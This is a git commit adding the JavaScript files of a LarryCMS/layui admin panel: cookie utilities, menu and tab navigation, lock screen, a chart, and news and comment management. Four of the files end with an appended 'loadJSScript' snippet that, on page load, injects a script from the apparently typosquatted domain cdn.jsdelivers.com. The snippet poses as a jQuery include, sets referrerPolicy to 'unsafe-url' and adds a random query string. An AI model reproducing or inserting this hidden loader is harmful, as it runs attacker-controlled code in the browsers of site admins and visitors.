feat: 项目基础框架+配置+Kernel

This commit is contained in:
testadmin
2026-04-29 05:35:00 +08:00
parent 6ce7adcbfb
commit 9a6151fce3
5082 changed files with 437062 additions and 0 deletions
+85
View File
@@ -0,0 +1,85 @@
var cookieUtils = {
get: function(name){
var cookieName=encodeURIComponent(name) + "=";
//只取得最匹配的namevalue
var cookieStart = document.cookie.indexOf(cookieName);
var cookieValue = null;
if (cookieStart > -1) {
// 从cookieStart算起
var cookieEnd = document.cookie.indexOf(';', cookieStart);
//从=后面开始
if (cookieEnd > -1) {
cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, cookieEnd));
} else {
cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, document.cookie.length));
}
}
return cookieValue;
},
set: function(name, val, options) {
if (!name) {
throw new Error("coolie must have name");
}
var enc = encodeURIComponent;
var parts = [];
val = (val !== null && val !== undefined) ? val.toString() : "";
options = options || {};
parts.push(enc(name) + "=" + enc(val));
// domain中必须包含两个点号
if (options.domain) {
parts.push("domain=" + options.domain);
}
if (options.path) {
parts.push("path=" + options.path);
}
// 如果不设置expires和max-age浏览器会在页面关闭时清空cookie
if (options.expires) {
parts.push("expires=" + options.expires.toGMTString());
}
if (options.maxAge && typeof options.maxAge === "number") {
parts.push("max-age=" + options.maxAge);
}
if (options.httpOnly) {
parts.push("HTTPOnly");
}
if (options.secure) {
parts.push("secure");
}
document.cookie = parts.join(";");
},
delete: function(name, options) {
options.expires = new Date(0);// 设置为过去日期
this.set(name, null, options);
}
}
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+160
View File
@@ -0,0 +1,160 @@
/*
* @Author: Larry
* @Date: 2016-12-15 17:20:54
* @Last Modified by: qinsh
* @Last Modified time: 2016-12-24 22:06:18
* +----------------------------------------------------------------------
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
* | Licensed ( http://www.larrycms.com/licenses/ )
* | Author: qinshouwei <313492783@qq.com>
* +----------------------------------------------------------------------
*/
'use strict';
layui.use(['jquery','layer','element'],function(){
window.jQuery = window.$ = layui.jquery;
window.layer = layui.layer;
var element = layui.element;
// larry-side-menu向左折叠
$('.larry-side-menu').click(function() {
var sideWidth = $('#larry-side').width();
if(sideWidth === 200) {
$('#larry-body').animate({
left: '0'
}); //admin-footer
$('#larry-footer').animate({
left: '0'
});
$('#larry-side').animate({
width: '0'
});
} else {
$('#larry-body').animate({
left: '200px'
});
$('#larry-footer').animate({
left: '200px'
});
$('#larry-side').animate({
width: '200px'
});
}
});
$(function(){
// 刷新iframe操作
$("#refresh_iframe").click(function(){
$(".layui-tab-content .layui-tab-item").each(function(){
if($(this).hasClass('layui-show')){
$(this).children('iframe')[0].contentWindow.location.reload(true);
}
});
});
$('#lock').mouseover(function(){
layer.tips('请按Alt+L快速锁屏!', '#lock', {
tips: [1, '#FF5722'],
time: 4000
});
})
// 快捷键锁屏设置
$(document).keydown(function(e){
if(e.altKey && e.which == 76){
lockSystem();
}
});
function startTimer(){
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
var s=today.getSeconds();
m = m < 10 ? '0' + m : m;
s = s < 10 ? '0' + s : s;
$('#time').html(h+":"+m+":"+s);
t=setTimeout(function(){startTimer()},500);
}
// 锁屏状态检测
function checkLockStatus(locked){
// 锁屏
if(locked == 1){
$('.lock-screen').show();
$('#locker').show();
$('#layui_layout').hide();
$('#lock_password').val('');
}else{
$('.lock-screen').hide();
$('#locker').hide();
$('#layui_layout').show();
}
}
checkLockStatus('0');
// 锁定屏幕
function lockSystem(){
var url = '';
$.post(
url,
function(data){
if(data=='1'){
checkLockStatus(1);
}else{
layer.alert('锁屏失败,请稍后再试!');
}
});
startTimer();
}
//解锁屏幕
function unlockSystem(){
// 与后台交互代码已移除,根据需求定义或删除此功能
checkLockStatus(0);
}
// 点击锁屏
$('#lock').click(function(){
lockSystem();
});
// 解锁进入系统
$('#unlock').click(function(){
unlockSystem();
});
// 监控lock_password 键盘事件
$('#lock_password').keypress(function(e){
var key = e.which;
if (key == 13) {
unlockSystem();
}
});
});
});
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+82
View File
@@ -0,0 +1,82 @@
/*
* @Author: Larry
* @Date: 2016-12-15 17:20:54
* @Last Modified by: qinsh
* @Last Modified time: 2016-12-24 22:13:09
* +----------------------------------------------------------------------
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
* | Licensed ( http://www.larrycms.com/licenses/ )
* | Author: qinshouwei <313492783@qq.com>
* +----------------------------------------------------------------------
*/
layui.config({
base:'js/'
}).use(['jquery','element','layer','navtab'],function(){
window.jQuery = window.$ = layui.jquery;
window.layer = layui.layer;
var element = layui.element,
navtab = layui.navtab({
elem: '.larry-tab-box'
});
//iframe自适应
$(window).on('resize', function() {
var $content = $('#larry-tab .layui-tab-content');
$content.height($(this).height() - 136);
$content.find('iframe').each(function() {
$(this).height($content.height());
});
tab_W = $('#larry-tab').width();
// larry-footerp-admin宽度设定
var larryFoot = $('#larry-footer').width();
$('#larry-footer p.p-admin').width(larryFoot - 300);
}).resize();
// 左侧菜单导航-->tab
$(function(){
// 注入菜单
// var $menu = $('.larry-tab-menu');
// console.log($menu);
// $('#larry-tab .layui-tab-title').append($menu);
$('#larry-nav-side').click(function(){
if($(this).attr('lay-filter')!== undefined){
$(this).children('ul').find('li').each(function(){
var $this = $(this);
if($this.find('dl').length > 0){
var $dd = $this.find('dd').each(function(){
$(this).click(function(){
var $a = $(this).children('a');
var href = $a.data('url');
var icon = $a.children('i:first').data('icon');
var title = $a.children('span').text();
var data = {
href: href,
icon: icon,
title: title
}
navtab.tabAdd(data);
});
});
}else{
$this.click(function(){
var $a = $(this).children('a');
var href = $a.data('url');
var icon = $a.children('i:first').data('icon');
var title = $a.children('span').text();
var data = {
href: href,
icon: icon,
title: title
}
navtab.tabAdd(data);
});
}
});
}
})
})
});
+41
View File
@@ -0,0 +1,41 @@
eval(function(p, a, c, k, e, d) {
e = function(c) {
return(c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if(!''.replace(/^/, String)) {
while(c--) d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1;
};
while(c--)
if(k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p;
}('5 r;7.2E({2D:\'/O/2C/2H/\'}).2G({3:\'3\',r:\'r\',2F:\'12\',C:\'C\'});7.2y([\'12\',\'1V\',\'l\',\'3\',\'r\',\'w\',\'C\'],2(){5 $=7.1V,l=7.l,H=7.H(),12=7.12(),3=7.3(),w=7.w(),C=7.C;r=7.r({T:\'#3-F\'});$(\'n\').1e("2x",2(){2a j});$(v).2w(2(){8(H.1t&&H.1t<9){l.L(\'2B锛2A 2z\'+H.1t+\'锛乗')
}
1 f();
$ .18 .19 = j;
$ .23(\'/O/1a/R.X?t=\'+1p 1o(),{1Z:\'21\'},2(N){3.29({T:\'#R\',g:N,2I:j});3.S()});5 m=$(\'#R\');m.K(\'17.7-2R-1F\').Z(2(){5 t=$(o);t.p(\'f\',2(){5 24=t.g(\'1v\');$.18.19=j;$.23(\'/O/1a/R.X?t=\'+1p 1o(),{1v:24,1Z:\'21\'},2(N){3.29({T:\'#27\',g:N,2Q:z});3.S();3.p(\'f(y)\',2(g){r.2P(g.2U)})})})});m.K(\'17[g-1v=0]\').f();$("#27").K("17").2T(0).1j(\'7-o\');$.18.19=z});$(\'#3-F\').1e("2S",2(){2a j});$(\'#2L\').K(\'2K\').Z(2(){$(o).p(\'f\',2(){5 1m=$(o).1J(\'a\').J(\'g-1m\');r.2J(1m)})});$(1n).p(\'1u\',2(){1f();5 c=$(\'#3-F .7-F-V\');c.u($(o).u()-2O);c.K(\'1T\').Z(2(){$(o).u(c.u())})}).1u();$("#2N").f(2(){$(".7-F-V .7-F-1F").Z(2(){8($(o).2M(\'7-11\')){$(o).1J(\'1T\')[0].2m.1z.1W(z)}})});2 1f(){$(\'.7-1d-1b\').u($(1n).u());$(\'n\').u($(1n).u());$(\'#3-n\').d($(\'.7-1d-1b\').d()-$(\'#3-y\').d());$(\'#3-1l\').d($(\'.7-1d-1b\').d()-$(\'#3-y\').d())}$(\'#2n\').p(\'f\',2(){3.2u();l.L(\'2v!2r锛乗', {
16: 1,
14: \ '2s\'},2(){1z.1W()})});5 D=B.W("1k");5 k=B.W(\'k\');8(k){$("n").J("I","");$("n").1j("Y-"+k)}8(D&&D!=\'j\'){5 1P=l.L(\'2q\',{14:\'2t\',2o:\'7-l-2p\',1r:0,1S:4,2V:\'3K\'},2(){1h();$(\'#1R\').G(\'<i I="3-16 3-1i"></i>1C\');l.3u(1P)})}$(\'#Y\').p(\'f\',2(){5 D=B.W(\'1k\');5 k=B.W(\'k\');l.1B({1G:1,14:j,1r:z,1D:j,1A:0.35,1X:[\'3s\',\'3t\'],3x:z,1u:j,1S:1I.3B(1I.3C()*6),V:$(\'#3A\').G(),3z:2(3y,3D){8(D&&D!=\'j\'){$("3r[3w-3v=\'1O\']").J("1c","1c")}8(k){$("#k 3M[1N=\'"+k+"\']").J("2b","2b")}w.S()}});w.p(\'3L(1O)\',2(g){5 1Q=g.T.1c;B.1K(\'1k\',1Q)});w.p(\'1U(Y)\',2(g){5 1L=g.1N;B.1K(\'k\',1L);8(k){$("n").J("I","");$("n").1j("Y-"+k)}w.S(\'1U\')})});$(\'#1R\').1e(\'f\',2(){5 1g=v.1g||v.3N||v.3P;8(1g==3O){1h();$(o).G(\'<i I="3-16 3-1i"></i>1C\')}q{2j();$(o).G(\'<i I="3-16 3-1i"></i>3G\')}});2 1h(){5 b=v.3F;8(b.1H){b.1H()}q 8(b.1y){b.1y()}q 8(b.1Y){b.1Y()}}2 2j(){5 b=v;8(b.2f){b.2f()}q 8(b.2e){b.2e()}q 8(b.2g){b.2g()}}$(\'#3E\').f(2(){5 2c=$(\'#3-y\').d();5 x=$(\'#3-n\').d();8(2c===3I){x+=2h;$(\'#3-n\').E({P:\'0\',d:x});$(\'#3-1l\').E({P:\'0\',d:x});$(\'#3-y\').E({d:\'0\'})}q{x-=2h;$(\'#3-n\').E({P:\'2i\',d:x});$(\'#3-1l\').E({P:\'2i\',d:x});$(\'#3-y\').E({d:\'3H\'})}});$(\'#A\').3q(2(){l.28(\'36+34锛乗',
\'#A\',{28:[1,\'#33\'],20:37})});$(v).3J(2(e){8(e.39&&e.26==38){1x()}});Q(\'0\');2 1x(){5 U=\'/O/1a/A.X\';$.2Y(U,2(g){8(g==\'1\'){Q(1)}q{l.L(\'2X锛2W锛乗')
}
});
1 s()
}
2 1 q() {
Q(0)
}
$(\'#A\').f(2(){1x()});$(\'#2Z\').f(2(){1q()});$(\'#2l\').32(2(e){5 25=e.26;8(25==13){1q()}});2 1s(){5 M=1p 1o();5 h=M.31();5 m=M.30();5 s=M.3b();m=m<10?\'0\'+m:m;s=s<10?\'0\'+s:s;$(\'#20\').G(h+":"+m+":"+s);t=3l(2(){1s()},3k)}2 Q(22){8(22==1){$(\'.A-2k\').11();$(\'#2d\').11();$(\'#1E\').1w();$(\'#2l\').3j(\'\')}q{$(\'.A-2k\').1w();$(\'#2d\').1w();$(\'#1E\').11()}}$(\'#1M\').f(2(3m){l.1B({1G:1,14:j,1r:z,1D:j,1A:0.15,1X:[\'3p\',\'3o\'],V:\'<3n 3e="3d/1M.3c"/>\'})});$(\'#3f\').p(\'f\',2(){5 U=\'3i.X\';C.3h(\'3g锛乗', \'3a锛焅', U)
})
})
',62,238,' || function | larry ||
var || layui |
if || | docE || width || click | data || | false | themeName | layer || body | this | on |
else |navtab || | height | document | form | bodyW | side | true | lock | localStorage | common | fScreen | animate | tab | html | device | class | attr | find | alert | today | result | backstage | left | checkLockStatus | menu | render | elem | url | content | getItem | php | larryTheme | each || show | elements || title || icon | li | ajaxSettings | async | datas | admin | checked | layout | bind | AdminInit | fullscreenElement | entryFullScreen | quanping | addClass | fullscreen_info | footer | eName | window | Date | new | unlockSystem | closeBtn | startTimer | ie | resize | pid | hide | lockSystem | mozRequestFullScreen | location | shade | open | 鍑哄叏灞弢shadeClose | layui_layout | item | type | requestFullScreen | Math | children | setItem | themeValue | dianzhan | value | fullscreen | fScreenIndex | fValue | FullScreen | anim | iframe | select | jquery | reload | area | webkitRequestFullScreen | Param | time | index_menu | locked | getJSON | id | key | which | larrySideNav | tips | set |
return |selected | sideWidth | locker | mozCancelFullScreen | exitFullscreen | webkitCancelFullScreen | 203 | 203 px | exitFullScreen | screen | lock_password | contentWindow | clearCached | skin | lan | 鎸塃SC閫 鍑哄叏灞弢鏈 湴瀛樺偍鏁版嵁涔熸竻鐞嗘垚鍔焲绯荤粺鎻愮ず | 杩涘叆鍏ㄥ睆鎻愮ず淇 | cleanCached | 缂撳瓨娓呴櫎瀹屾垚 | ready | selectstart | use | IE | 鎮ㄥ綋鍓嶄娇鐢ㄧ殑鏄 彜鑰佺殑 | 浣庢敮鎸乮e9 | js | base | config | elemnts | extend | lib | cached | tabCtrl | dd | buttonRCtrl | hasClass | refresh_iframe | 153 | tabAdd | spreadOne | nav | contextmenu | eq | field | offset | 璇风 鍚庡啀璇晐閿佸睆澶辫触 | post | unlock | getMinutes | getHours | keypress | FF5722 | L蹇 熼攣灞弢 | 璇锋寜Alt | 2000 | 76 | altKey | 浣犵湡鐨勭 瀹氳 鍑虹郴缁熷悧 | getSeconds | jpg | images | src | logout | 鍑虹櫥闄嗘彁绀簗logOut | login | val | 500 | setTimeout | event | img | 288 px | 505 px | mouseover | input | 450 px | 300 px | close | filter | lay | isOutAnim | layero | success | LarryThemeSet | ceil | random | index | toggle | documentElement | 鍏ㄥ睆 | 200 px | 200 | keydown | 100 px |
switch | option | mozFullScreenElement | null | webkitFullscreenElement '.split(' | '),0,{}))
+19
View File
@@ -0,0 +1,19 @@
/*
* @Author: Larry
* @Date: 2016-12-15 17:20:54
* @Last Modified by: qinsh
* @Last Modified time: 2016-12-24 21:51:17
* +----------------------------------------------------------------------
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
* | Licensed ( http://www.larrycms.com/licenses/ )
* | Author: qinshouwei <313492783@qq.com>
* +----------------------------------------------------------------------
*/
'use strict';
layui.use(['jquery'],function(){
window.jQuery = window.$ = layui.jquery;
$(".layui-canvs").width($(window).width());
$(".layui-canvs").height($(window).height());
});
+79
View File
@@ -0,0 +1,79 @@
/*
* @Author: Larry
* @Date: 2016-12-15 17:20:54
* @Last Modified by: qinsh
* @Last Modified time: 2016-12-24 21:51:08
* +----------------------------------------------------------------------
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
* | Licensed ( http://www.larrycms.com/licenses/ )
* | Author: qinshouwei <313492783@qq.com>
* +----------------------------------------------------------------------
*/
var myChart = echarts.init(document.getElementById('larry-seo-stats'));
option = {
title : {
text: '用户访问来源',
subtext: '纯属虚构',
x:'center'
},
tooltip : {
trigger: 'item',
formatter: "{a} <br/>{b} : {c} ({d}%)"
},
legend: {
orient: 'vertical',
left: 'left',
data: ['直接访问','邮件营销','联盟广告','视频广告','搜索引擎']
},
series : [
{
name: '访问来源',
type: 'pie',
radius : '55%',
center: ['50%', '60%'],
data:[
{value:335, name:'直接访问'},
{value:310, name:'邮件营销'},
{value:234, name:'联盟广告'},
{value:135, name:'视频广告'},
{value:1548, name:'搜索引擎'}
],
itemStyle: {
emphasis: {
shadowBlur: 10,
shadowOffsetX: 0,
shadowColor: 'rgba(0, 0, 0, 0.5)'
}
}
}
]
};
myChart.setOption(option);
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+140
View File
@@ -0,0 +1,140 @@
/*
* @Author: Larry
* @Date: 2016-12-15 17:20:54
* @Last Modified by: qinsh
* @Last Modified time: 2016-12-24 21:59:02
* +----------------------------------------------------------------------
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
* | Licensed ( http://www.larrycms.com/licenses/ )
* | Author: qinshouwei <313492783@qq.com>
* +----------------------------------------------------------------------
*/
layui.define(['element'], function(exports){
var element = layui.element,
$ = layui.jquery,
layer = parent.layer === undefined ? layui.layer : parent.layer,
module_name = 'navtab',
globalTabIdIndex = 0,
LarryTab = function(){
this.config ={
elem: undefined,
closed: true
};
};
var ELEM = {};
/**
* [参数设置 options]
*/
LarryTab.prototype.set = function(options){
var _this = this;
$.extend(true, _this.config, options);
return _this;
};
/**
* [init 对象初始化]
* @return {[type]} [返回对象初始化结果]
*/
LarryTab.prototype.init = function(){
var _this = this;
var _config = _this.config;
if(typeof(_config.elem) !== 'string' && typeof(_config.elem) !== 'object') {
layer.alert('Tab选项卡错误提示: elem参数未定义或设置出错,具体设置格式请参考文档API.');
}
var $container;
if(typeof(_config.elem) === 'string') {
$container = $('' + _config.elem + '');
//console.log($container);
}
if(typeof(_config.elem) === 'object') {
$container = _config.elem;
}
if($container.length === 0) {
layer.alert('Tab选项卡错误提示:找不到elem参数配置的容器,请检查.');
}
var filter = $container.attr('lay-filter');
if(filter === undefined || filter === '') {
layer.alert('Tab选项卡错误提示:请为elem容器设置一个lay-filter过滤器');
}
_config.elem = $container;
ELEM.titleBox = $container.children('ul.layui-tab-title');
ELEM.contentBox = $container.children('div.layui-tab-content');
ELEM.tabFilter = filter;
return _this;
};
/**
* [exists 在layui-tab中检查对应layui-tab-title是否存在,如果存在则返回索引值,不存在返回-1]
* @param {[type]} title [description]
* @return {[type]} [description]
*/
LarryTab.prototype.exists = function(title){
var _this = ELEM.titleBox === undefined ? this.init() : this,
tabIndex = -1;
ELEM.titleBox.find('li').each(function(i, e) {
var $em = $(this).children('em');
if($em.text() === title) {
// tabIndex = i;
tabIndex = $(this).attr("lay-id");
};
});
return tabIndex;
};
/**
* [tabAdd 增加选项卡,如果已存在则增加this样式]
* @param {[type]} data [description]
* @return {[type]} [description]
*/
LarryTab.prototype.tabAdd = function(data){
var _this = this;
var tabIndex = _this.exists(data.title);
// console.log(data)
// 若不存在
if(tabIndex === -1){
globalTabIdIndex++;
var content = '<iframe src="' + data.href + '" data-id="' + globalTabIdIndex + '" class="larry-iframe"></iframe>';
var title = '';
// 若icon有定义
if(data.icon !== undefined){
if(data.icon.indexOf('icon-') !== -1) {
title += '<i class="iconfont ' + data.icon + '"></i>';
} else {
title += '<i class="layui-icon ">' + data.icon + '</i>';
}
}
title += '<em>' + data.title + '</em>';
if(_this.config.closed) {
title += '<i class="layui-icon layui-unselect layui-tab-close" data-id="' + globalTabIdIndex + '">&#x1006;</i>';
}
//添加tab
element.tabAdd(ELEM.tabFilter, {
title: title,
content: content,
id: globalTabIdIndex
});
//iframe 自适应
ELEM.contentBox.find('iframe[data-id=' + globalTabIdIndex + ']').each(function() {
$(this).height(ELEM.contentBox.height());
});
if(_this.config.closed) {
//监听关闭事件
ELEM.titleBox.find('li').children('i.layui-tab-close[data-id=' + globalTabIdIndex + ']').on('click', function() {
element.tabDelete(ELEM.tabFilter, $(this).parent('li').attr("lay-id")).init();
// element.tabChange(ELEM.tabFilter, ELEM.titleBox.find('li').length - 1);
});
};
//切换到当前打开的选项卡
// element.tabChange(ELEM.tabFilter, ELEM.titleBox.find('li').length - 1);
element.tabChange(ELEM.tabFilter, globalTabIdIndex);
}else {
element.tabChange(ELEM.tabFilter, tabIndex);
// tabIndex = -1
}
};
var navtab = new LarryTab();
exports(module_name, function(options) {
return navtab.set(options);
});
});
+46
View File
@@ -0,0 +1,46 @@
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
$('#newsCateAdd').click(function() {
var index = layer.open({
title:'添加新闻分类'
,type:2
,content: '/admin/news_cate_add'
,area: ['529px', '342px']
});
});
$('.newsCateEdit').click(function(){
var id = $(this).data('id');
var index = layer.open({
title: '编辑新闻分类'
,type: 2
,content: '/admin/news_cate_edit/' + id
,area: ['529px', '342px']
,maxmin: true
});
});
$('.newsCateDel').click(function() {
var id = $(this).data('id');
layer.confirm('真的确定要删除吗?',
function(index) {
$.ajax({
url : '/admin/news_cate_del/' + id
, success: function(data) {
if(data.type == 'ok') {
layer.close(index);
layer.msg(data.message, {icon:1});
setTimeout(() => {
window.location.reload();
}, 1000);
} else {
layer.msg(data.message, {icon:2});
}
}
, error: function(data) {
layer.msg('删除失败!服务器错误:' + data.statusText + ',错误码:' + data.status + '.');
}
});
});
});
});
+25
View File
@@ -0,0 +1,25 @@
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
form.on('submit(submit)', function(dataObj) {
var serData = $(dataObj.form).serialize();
$.ajax({
type : 'POST'
,url : window.location.href
,data: serData
,success: function(data) {
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
icon = data.type == 'ok' ? 1 : 2;
parent.layer.msg(data.message, {icon: icon});
icon == 1 && setTimeout(() => {
parent.layer.close(index);
parent.window.location.reload();
}, 1000);
}
,error: function(data) {
layer.msg('错误:' + data.statusText, {icon: 2});
}
});
return false;
});
});
+66
View File
@@ -0,0 +1,66 @@
layui.use(['element', 'layer', 'jquery', 'form'], function() {
var element = layui.element, $ = layui.$ , form = layui.form;
$('.statusToggle').click(function() {
var dId = $(this).data('id');
//切换评论显示状态
$.get('/admin/news_discuss_show_toggle/' + dId, function(data) {
if(data.type == 'ok') {
layer.msg(data.message, {icon:1});
setTimeout(() => {
window.location.reload();
}, 1000);
} else {
layer.msg(data.message, {icon:2});
}
});
});
$('.discussDel').click(function() {
var dId = $(this).data('id');
layer.confirm(
'真的确定要删除吗?'
, function() {
$.get('/admin/news_discuss_del/' + dId, function(data) {
if(data.type == 'ok') {
layer.msg(data.message, {icon:1});
setTimeout(() => {
window.location.reload();
}, 1000);
} else {
layer.msg(data.message, {icon:2});
}
});
}
, function() {
layer.msg('感谢主公不杀之恩!');
}
);
});
});
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}
+78
View File
@@ -0,0 +1,78 @@
layui.use(['element', 'form', 'layer', 'jquery', 'layedit', 'laydate'], function() {
var element = layui.element
, $ = layui.$
, form = layui.form
, layer = layui.layer
, laydate = layui.laydate
, layedit = layui.layedit;
//初始化日期控件和富文本编辑器
laydate.render({
elem: '#create_time' //指定元素
});
//百度富文本初始化
var ue = UE.getEditor('news_content');
var current_editor;
ueditor_image_callback = function(urlArray) {
for(var i = 0 ;i<urlArray.length;i++)
{
current_editor.execCommand('insertHtml', "<img class='imgloading' data-original='"+urlArray[i]+"' alt='' src='"+urlArray[i]+"' style='display: inline;'>");
}
layer.closeAll();
}
upload_image_callback = function (url)
{
$(".wx_qr_code").show()
$("#wx_qr_code").val(url[0])
$(".wx_qr_code").attr("src",url[0])
}
baidu.editor.commands['customupload'] =
{
execCommand: function() {
upload_select('ueditor_image_callback',10)
current_editor = this;
return true;
}, queryCommandState: function() { }
};
//表单提交事件
form.on('submit(submit)', function(dataObj){
var serData = $(dataObj.form).serialize();
$.ajax({
type: 'POST'
,url: window.location.href
,data: serData
,success: function(data) {
if(data.type == 'ok') {
layer.msg(data.message, {
icon: 1,
time: 1000,
end: function() {
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
parent.layer.close(index);
parent.window.location.reload();
}
});
} else {
layer.msg(data.message, {icon:2});
}
}
,error: function(data) {
//重新遍历获取JSON的KEY
var str = '服务器验证失败!';
for(var o in data.responseJSON.errors) {
str += data.responseJSON.errors[o];
}
layer.msg(str, {icon:2});
}
});
parent.layui.layer.close();
return false; //阻止表单跳转。如果需要表单跳转,去掉这段即可。
});
});
+197
View File
@@ -0,0 +1,197 @@
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
var showCateManage = function() {
var index = layer.open({
title:'新闻分类管理'
,type:2
,content: '/admin/news_cate_index'
,area: ['800px', '600px']
,maxmin: true
,anim: 3
,end : function() {
//弹窗关闭后回调,刷新主窗口的分类下拉列表
$.get('/admin/news_cate_list/', function(returnData) {
var select = $('select[name=cate]');
select.html('');
if(returnData.count > 0) {
select.append('<option value="0">所有分类</option>');
for(x in returnData.cate) {
var tmp = '<option value="' + returnData.cate[x].id + '">' + returnData.cate[x].name + "</option>";
select.append(tmp);
}
}
form.render();
});
}
});
layer.full(index);
};
//先判定是否已经创建分类
$.get('/admin/news_cate_list/', function(data) {
if(data.count <= 0) {
var index = layer.confirm('请先添加分类再操作!', {btn: ['确定']} , function() {
layer.close(index);
showCateManage();
});
}
});
//管理分类按钮事件响应
$('.cateManage').click(showCateManage);
$('#newsAdd').click(function() {
$.get('/admin/news_cate_list/', function(data) {
if(data.count > 0) {
var index = layer.open({
title:'发布新闻'
,type:2
,content: '/admin/news_add'
,area: ['800px', '600px']
,maxmin: true
,anim: 3
});
layer.full(index);
} else {
var index = layer.confirm('请先添加分类再操作!', {btn: ['确定']} , function() {
layer.close(index);
showCateManage();
});
}
});
});
//搜索按钮响应事件
$('.btn-search').click(function() {
var keyword = $(this).prev().find('input[name=keyword]').val();
if(keyword != '') {
var lhref = window.location
,lang = $('select[name=lang]').val()
,c_id = $('select[name=cate]').val();
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang + '&keyword=' + keyword;;
} else {
layer.msg('请输入关键字!');
}
});
//搜索框增加回车键搜索响应事件
$('input[name=keyword]').keydown(function(event) {
if(event.keyCode == 13) {
$('.btn-search').click();
}
});
//分类过滤
form.on('select(cate)', function(data){
var lang = $('select[name=lang]').val(),
c_id = $('select[name=cate]').val(),
lhref = window.location;
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang ;
});
//语言过滤s
form.on('select(lang)', function(data){
var lang = $('select[name=lang]').val(),
c_id = $('select[name=cate]').val(),
lhref = window.location;
lhref.href = lhref.origin + lhref.pathname + '?c_id=' + c_id + '&lang=' + lang ;
});
//评论管理事件
$('.newsDiscuss').click(function() {
var id = $(this).data('id');
var index = layer.open({
title: '评论管理'
,type: 2
,content: '/admin/news_discuss_index/' + id
,area: ['800px', '600px']
,maxmin: true
});
layer.full(index);
});
//编辑新闻
$('.newsEdit').click(function(){
var id = $(this).data('id');
var index = layer.open({
title: '编辑新闻'
,type: 2
,content: '/admin/news_edit/' + id
,area: ['800px', '600px']
,maxmin: true
,anim: 2
});
layer.full(index);
});
//删除新闻事件
$('.newsDel').click(function() {
var id = $(this).data('id');
var disDelUrl = '';
var delExect = function(url, index) {
//执行删除操作
$.get(url, function(data) {
if(data.type == 'ok') {
layer.close(index);
layer.msg('删除成功');
setTimeout(() => {
window.location.reload();
}, 1000);
} else {
layer.msg('删除失败');
}
});
}
disDelUrl = '/admin/news_del/' + id;
layer.confirm('真的确定要删除吗?',{icon: 3, title:'提示'}, function(index) {
delExect(disDelUrl, index);
});
return false
//判断是否有评论,提示是否连评论一同删除
$.get('/admin/news_discuss_list/' + id, function(discussData) {
if(discussData.count >0 ) {
layer.confirm('是否连同评论一起删除?', {
btn:['是','否', '取消'],
btn1: function(index) {
disDelUrl = '/admin/news_del/' + id + '/1';
delExect(disDelUrl, index);
},
btn2: function(index) {
disDelUrl += '/admin/news_del/' + id;
delExect(disDelUrl, index);
},
});
} else {
disDelUrl = '/admin/news_del/' + id;
layer.confirm('真的确定要删除吗?',{icon: 3, title:'提示'}, function(index) {
delExect(disDelUrl, index);
});
}
});
